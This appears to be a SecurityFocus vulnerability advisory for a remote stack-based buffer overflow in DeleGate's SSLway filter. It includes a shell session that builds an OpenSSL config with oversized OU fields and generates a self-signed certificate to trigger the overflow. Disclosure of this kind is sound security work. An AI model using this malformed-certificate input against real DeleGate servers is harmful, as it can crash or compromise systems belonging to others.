DeleGate SSLway Filter Remote Stack Based Buffer Overflow Vulnerability

DeleGate SSLway Filter Remote Stack Based Buffer Overflow Vulnerability

The following example has been supplied:

[je@vudo ~]$ cat>openssl.cnf<<EOF
> [ req ]
> distinguished_name = req_dn
> prompt = no
> [ req_dn ]
> CN=bof
> 0.OU=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> 1.OU=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> 2.OU=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> 3.OU=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EOF
[je@vudo ~]$ openssl req -x509 -new -nodes -out bof.pem -keyout bof.pem -config openssl.cnf
Generating a 512 bit RSA private key
.........++++++++++++
..........++++++++++++
writing new private key to 'bof.pem'

Currently we are not aware of any exploits for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com <mailto:vuldb@securityfocus.com>.